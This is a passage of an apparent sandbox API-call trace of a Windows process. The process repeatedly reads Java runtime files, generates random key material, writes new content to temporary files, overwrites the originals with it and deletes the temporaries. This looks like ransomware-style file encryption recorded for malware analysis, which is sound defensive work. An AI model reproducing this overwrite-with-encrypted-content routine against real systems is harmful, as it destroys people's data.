	[0255.348] SetEvent (hEvent=0x190) returned 1
	[0255.348] SetEvent (hEvent=0xd4) returned 1
	[0255.348] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4fa5bcd8aebeeada940017b46bfa61a1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4fa5bcd8aebeeada940017b46bfa61a1")) returned 1
	[0255.365] SwitchToThread () returned 1
	[0255.402] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0255.447] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0256.564] SetEvent (hEvent=0x190) returned 1
	[0256.564] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0xc000213d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000213d94, lpOverlapped=0x0) returned 0
	[0256.564] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x95, lpNumberOfBytesWritten=0xc000213d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000213d94, lpOverlapped=0x0) returned 0
	[0256.565] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0256.565] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc000213bf4 | out: lpMode=0xc000213bf4) returned 0
	[0256.565] GetFileType (hFile=0x120) returned 0x1
	[0256.565] GetFileType (hFile=0x120) returned 0x1
	[0256.565] GetFileInformationByHandle (in: hFile=0x120, lpFileInformation=0xc000213c44 | out: lpFileInformation=0xc000213c44) returned 1
	[0256.566] GetFileInformationByHandleEx (in: hFile=0x120, FileInformationClass=0x9, lpFileInformation=0xc000213c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000213c28) returned 1
	[0256.566] ReadFile (in: hFile=0x120, lpBuffer=0xc000106000, nNumberOfBytesToRead=0xa6c9, lpNumberOfBytesRead=0xc000213b04, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc000213b04*=0xa4c9, lpOverlapped=0x0) returned 1
	[0256.648] ReadFile (in: hFile=0x120, lpBuffer=0xc0001104c9, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000213b04, lpOverlapped=0x0 | out: lpBuffer=0xc0001104c9*, lpNumberOfBytesRead=0xc000213b04*=0x0, lpOverlapped=0x0) returned 1
	[0256.648] CloseHandle (hObject=0x120) returned 1
	[0256.648] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0000c00c0 | out: pbBuffer=0xc0000c00c0) returned 1
	[0256.649] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00028c0a0 | out: pbBuffer=0xc00028c0a0) returned 1
	[0256.649] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0002a8001 | out: pbBuffer=0xc0002a8001) returned 1
	[0256.649] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\681124619e227481d6a3ad6b950f405e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\681124619e227481d6a3ad6b950f405e"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0
	[0257.140] GetConsoleMode (in: hConsoleHandle=0x1b0, lpMode=0xc0000bfc04 | out: lpMode=0xc0000bfc04) returned 0
	[0257.140] GetFileType (hFile=0x1b0) returned 0x1
	[0257.141] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00011c000*, nNumberOfBytesToWrite=0xa5c9, lpNumberOfBytesWritten=0xc0000bfbec, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesWritten=0xc0000bfbec*=0xa5c9, lpOverlapped=0x0) returned 1
	[0257.146] CloseHandle (hObject=0x1b0) returned 1
	[0257.208] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0257.210] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0000bfd74 | out: lpMode=0xc0000bfd74) returned 0
	[0257.211] GetFileType (hFile=0x120) returned 0x1
	[0257.211] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\681124619e227481d6a3ad6b950f405e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\681124619e227481d6a3ad6b950f405e"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b0
	[0257.211] GetConsoleMode (in: hConsoleHandle=0x1b0, lpMode=0xc0000bfd74 | out: lpMode=0xc0000bfd74) returned 0
	[0257.211] GetFileType (hFile=0x1b0) returned 0x1
	[0257.211] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000130000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000130000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.211] WriteFile (in: hFile=0x120, lpBuffer=0xc000130000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000130000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.213] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000130000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000130000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x25c9, lpOverlapped=0x0) returned 1
	[0257.214] WriteFile (in: hFile=0x120, lpBuffer=0xc000130000*, nNumberOfBytesToWrite=0x25c9, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000130000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x25c9, lpOverlapped=0x0) returned 1
	[0257.214] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000130000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000130000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x0, lpOverlapped=0x0) returned 1
	[0257.214] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\681124619e227481d6a3ad6b950f405e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\681124619e227481d6a3ad6b950f405e")) returned 0
	[0257.214] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\681124619e227481d6a3ad6b950f405e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\681124619e227481d6a3ad6b950f405e")) returned 0
	[0257.215] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\681124619e227481d6a3ad6b950f405e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\681124619e227481d6a3ad6b950f405e")) returned 0x20
	[0257.215] CloseHandle (hObject=0x1b0) returned 1
	[0257.215] CloseHandle (hObject=0x120) returned 1
	[0257.217] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\681124619e227481d6a3ad6b950f405e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\681124619e227481d6a3ad6b950f405e")) returned 1
	[0257.305] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0257.603] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0257.624] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0258.375] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0261.748] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0261.796] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0261.796] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0261.914] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0261.959] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0262.048] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0262.138] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0262.184] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0) returned 0
	[0262.184] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0xa7, lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0) returned 0
	[0262.184] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1ac
	[0262.185] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc0000bfbf4 | out: lpMode=0xc0000bfbf4) returned 0
	[0262.185] GetFileType (hFile=0x1ac) returned 0x1
	[0262.185] GetFileType (hFile=0x1ac) returned 0x1
	[0262.185] GetFileInformationByHandle (in: hFile=0x1ac, lpFileInformation=0xc0000bfc44 | out: lpFileInformation=0xc0000bfc44) returned 1
	[0262.185] GetFileInformationByHandleEx (in: hFile=0x1ac, FileInformationClass=0x9, lpFileInformation=0xc0000bfc28, dwBufferSize=0x8 | out: lpFileInformation=0xc0000bfc28) returned 1
	[0262.185] ReadFile (in: hFile=0x1ac, lpBuffer=0xc0000ee000, nNumberOfBytesToRead=0x299, lpNumberOfBytesRead=0xc0000bfb04, lpOverlapped=0x0 | out: lpBuffer=0xc0000ee000*, lpNumberOfBytesRead=0xc0000bfb04*=0x99, lpOverlapped=0x0) returned 1
	[0262.186] ReadFile (in: hFile=0x1ac, lpBuffer=0xc0000ee099, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0000bfb04, lpOverlapped=0x0 | out: lpBuffer=0xc0000ee099*, lpNumberOfBytesRead=0xc0000bfb04*=0x0, lpOverlapped=0x0) returned 1
	[0262.186] CloseHandle (hObject=0x1ac) returned 1
	[0262.186] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0000c0220 | out: pbBuffer=0xc0000c0220) returned 1
	[0262.186] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00028c180 | out: pbBuffer=0xc00028c180) returned 1
	[0262.186] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0002a8301 | out: pbBuffer=0xc0002a8301) returned 1
	[0262.187] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ab4efa864dc72b7a41923fccda58b6e1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ab4efa864dc72b7a41923fccda58b6e1"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0263.155] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0000bfc04 | out: lpMode=0xc0000bfc04) returned 0
	[0263.155] GetFileType (hFile=0x120) returned 0x1
	[0263.155] WriteFile (in: hFile=0x120, lpBuffer=0xc0000f0000*, nNumberOfBytesToWrite=0x199, lpNumberOfBytesWritten=0xc0000bfbec, lpOverlapped=0x0 | out: lpBuffer=0xc0000f0000*, lpNumberOfBytesWritten=0xc0000bfbec*=0x199, lpOverlapped=0x0) returned 1
	[0263.156] CloseHandle (hObject=0x120) returned 1
	[0263.287] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0263.288] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0000bfd74 | out: lpMode=0xc0000bfd74) returned 0
	[0263.288] GetFileType (hFile=0x120) returned 0x1
	[0263.288] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ab4efa864dc72b7a41923fccda58b6e1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ab4efa864dc72b7a41923fccda58b6e1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b0
	[0263.289] GetConsoleMode (in: hConsoleHandle=0x1b0, lpMode=0xc0000bfd74 | out: lpMode=0xc0000bfd74) returned 0
	[0263.289] GetFileType (hFile=0x1b0) returned 0x1
	[0263.289] VirtualAlloc (lpAddress=0xc00028e000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00028e000
	[0263.290] ReadFile (in: hFile=0x1b0, lpBuffer=0xc00028e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00028e000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x199, lpOverlapped=0x0) returned 1
	[0263.290] WriteFile (in: hFile=0x120, lpBuffer=0xc00028e000*, nNumberOfBytesToWrite=0x199, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc00028e000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x199, lpOverlapped=0x0) returned 1
	[0263.291] ReadFile (in: hFile=0x1b0, lpBuffer=0xc00028e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00028e000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x0, lpOverlapped=0x0) returned 1
	[0263.291] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ab4efa864dc72b7a41923fccda58b6e1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ab4efa864dc72b7a41923fccda58b6e1")) returned 0
	[0263.291] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ab4efa864dc72b7a41923fccda58b6e1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ab4efa864dc72b7a41923fccda58b6e1")) returned 0
	[0263.291] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ab4efa864dc72b7a41923fccda58b6e1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ab4efa864dc72b7a41923fccda58b6e1")) returned 0x20
	[0263.291] CloseHandle (hObject=0x1b0) returned 1
	[0263.292] CloseHandle (hObject=0x120) returned 1
	[0263.292] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ab4efa864dc72b7a41923fccda58b6e1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ab4efa864dc72b7a41923fccda58b6e1")) returned 1
	[0263.417] SetEvent (hEvent=0x188) returned 1
	[0263.417] WriteFile (in: hFile=0x0, lpBuffer=0xc0001e0000, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0) returned 0
	[0263.417] WriteFile (in: hFile=0x0, lpBuffer=0xc0001e0000, nNumberOfBytesToWrite=0xae, lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0) returned 0
	[0263.418] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0263.418] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0000bfbf4 | out: lpMode=0xc0000bfbf4) returned 0
	[0263.418] GetFileType (hFile=0x120) returned 0x1
	[0263.418] GetFileType (hFile=0x120) returned 0x1
	[0263.418] GetFileInformationByHandle (in: hFile=0x120, lpFileInformation=0xc0000bfc44 | out: lpFileInformation=0xc0000bfc44) returned 1
	[0263.418] GetFileInformationByHandleEx (in: hFile=0x120, FileInformationClass=0x9, lpFileInformation=0xc0000bfc28, dwBufferSize=0x8 | out: lpFileInformation=0xc0000bfc28) returned 1
	[0263.418] ReadFile (in: hFile=0x120, lpBuffer=0xc0001e62c0, nNumberOfBytesToRead=0x2a8, lpNumberOfBytesRead=0xc0000bfb04, lpOverlapped=0x0 | out: lpBuffer=0xc0001e62c0*, lpNumberOfBytesRead=0xc0000bfb04*=0xa8, lpOverlapped=0x0) returned 1
	[0263.419] ReadFile (in: hFile=0x120, lpBuffer=0xc0001e6368, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0000bfb04, lpOverlapped=0x0 | out: lpBuffer=0xc0001e6368*, lpNumberOfBytesRead=0xc0000bfb04*=0x0, lpOverlapped=0x0) returned 1
	[0263.419] CloseHandle (hObject=0x120) returned 1
	[0263.419] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000092480 | out: pbBuffer=0xc000092480) returned 1
	[0263.419] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc000094230 | out: pbBuffer=0xc000094230) returned 1
	[0263.419] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000082601 | out: pbBuffer=0xc000082601) returned 1
	[0263.419] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\cf3eae6730c5ee94de2d6c4ddd1b5a91" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\cf3eae6730c5ee94de2d6c4ddd1b5a91"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0263.651] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0000bfc04 | out: lpMode=0xc0000bfc04) returned 0
	[0263.651] GetFileType (hFile=0x120) returned 0x1
	[0263.651] WriteFile (in: hFile=0x120, lpBuffer=0xc000180200*, nNumberOfBytesToWrite=0x1a8, lpNumberOfBytesWritten=0xc0000bfbec, lpOverlapped=0x0 | out: lpBuffer=0xc000180200*, lpNumberOfBytesWritten=0xc0000bfbec*=0x1a8, lpOverlapped=0x0) returned 1
	[0263.652] CloseHandle (hObject=0x120) returned 1
	[0263.786] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0263.787] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0000bfd74 | out: lpMode=0xc0000bfd74) returned 0
	[0263.787] GetFileType (hFile=0x120) returned 0x1
	[0263.787] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\cf3eae6730c5ee94de2d6c4ddd1b5a91" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\cf3eae6730c5ee94de2d6c4ddd1b5a91"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b0
	[0263.787] GetConsoleMode (in: hConsoleHandle=0x1b0, lpMode=0xc0000bfd74 | out: lpMode=0xc0000bfd74) returned 0
	[0263.787] GetFileType (hFile=0x1b0) returned 0x1
	[0263.787] ReadFile (in: hFile=0x1b0, lpBuffer=0xc0002be000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002be000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x1a8, lpOverlapped=0x0) returned 1
	[0263.787] WriteFile (in: hFile=0x120, lpBuffer=0xc0002be000*, nNumberOfBytesToWrite=0x1a8, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc0002be000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x1a8, lpOverlapped=0x0) returned 1
	[0263.788] ReadFile (in: hFile=0x1b0, lpBuffer=0xc0002be000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002be000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x0, lpOverlapped=0x0) returned 1
	[0263.788] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\cf3eae6730c5ee94de2d6c4ddd1b5a91" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\cf3eae6730c5ee94de2d6c4ddd1b5a91")) returned 0
	[0263.788] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\cf3eae6730c5ee94de2d6c4ddd1b5a91" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\cf3eae6730c5ee94de2d6c4ddd1b5a91")) returned 0
	[0263.788] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\cf3eae6730c5ee94de2d6c4ddd1b5a91" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\cf3eae6730c5ee94de2d6c4ddd1b5a91")) returned 0x20
	[0263.788] CloseHandle (hObject=0x1b0) returned 1
	[0263.788] CloseHandle (hObject=0x120) returned 1
	[0263.789] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\cf3eae6730c5ee94de2d6c4ddd1b5a91" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\cf3eae6730c5ee94de2d6c4ddd1b5a91")) returned 1
	[0263.935] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0268.999] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0269.054] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0) returned 0
	[0269.054] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x95, lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0) returned 0
	[0269.054] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b4
	[0269.054] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0000bfbf4 | out: lpMode=0xc0000bfbf4) returned 0
	[0269.054] GetFileType (hFile=0x1b4) returned 0x1
	[0269.054] GetFileType (hFile=0x1b4) returned 0x1
	[0269.054] GetFileInformationByHandle (in: hFile=0x1b4, lpFileInformation=0xc0000bfc44 | out: lpFileInformation=0xc0000bfc44) returned 1
	[0269.055] GetFileInformationByHandleEx (in: hFile=0x1b4, FileInformationClass=0x9, lpFileInformation=0xc0000bfc28, dwBufferSize=0x8 | out: lpFileInformation=0xc0000bfc28) returned 1
	[0269.055] VirtualAlloc (lpAddress=0xc000284000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000284000
	[0269.055] ReadFile (in: hFile=0x1b4, lpBuffer=0xc000284000, nNumberOfBytesToRead=0x1282, lpNumberOfBytesRead=0xc0000bfb04, lpOverlapped=0x0 | out: lpBuffer=0xc000284000*, lpNumberOfBytesRead=0xc0000bfb04*=0x1082, lpOverlapped=0x0) returned 1
	[0269.186] ReadFile (in: hFile=0x1b4, lpBuffer=0xc000285082, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0000bfb04, lpOverlapped=0x0 | out: lpBuffer=0xc000285082*, lpNumberOfBytesRead=0xc0000bfb04*=0x0, lpOverlapped=0x0) returned 1
	[0269.186] CloseHandle (hObject=0x1b4) returned 1
	[0269.186] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000ecc0 | out: pbBuffer=0xc00000ecc0) returned 1
	[0269.186] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00021a7f0 | out: pbBuffer=0xc00021a7f0) returned 1
	[0269.186] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000001401 | out: pbBuffer=0xc000001401) returned 1
	[0269.186] VirtualAlloc (lpAddress=0xc0003c4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003c4000
	[0269.187] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\5d5b14c4ba96977b80fba27b4fe57a9c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\5d5b14c4ba96977b80fba27b4fe57a9c"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4
	[0269.187] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0000bfc04 | out: lpMode=0xc0000bfc04) returned 0
	[0269.187] GetFileType (hFile=0x1b4) returned 0x1
	[0269.187] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000285300*, nNumberOfBytesToWrite=0x1182, lpNumberOfBytesWritten=0xc0000bfbec, lpOverlapped=0x0 | out: lpBuffer=0xc000285300*, lpNumberOfBytesWritten=0xc0000bfbec*=0x1182, lpOverlapped=0x0) returned 1
	[0269.188] CloseHandle (hObject=0x1b4) returned 1
	[0269.190] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4
	[0269.191] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0000bfd74 | out: lpMode=0xc0000bfd74) returned 0
	[0269.191] GetFileType (hFile=0x1b4) returned 0x1
	[0269.191] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\5d5b14c4ba96977b80fba27b4fe57a9c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\5d5b14c4ba96977b80fba27b4fe57a9c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b0
	[0269.191] GetConsoleMode (in: hConsoleHandle=0x1b0, lpMode=0xc0000bfd74 | out: lpMode=0xc0000bfd74) returned 0
	[0269.191] GetFileType (hFile=0x1b0) returned 0x1
	[0269.191] VirtualAlloc (lpAddress=0xc0003c6000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003c6000
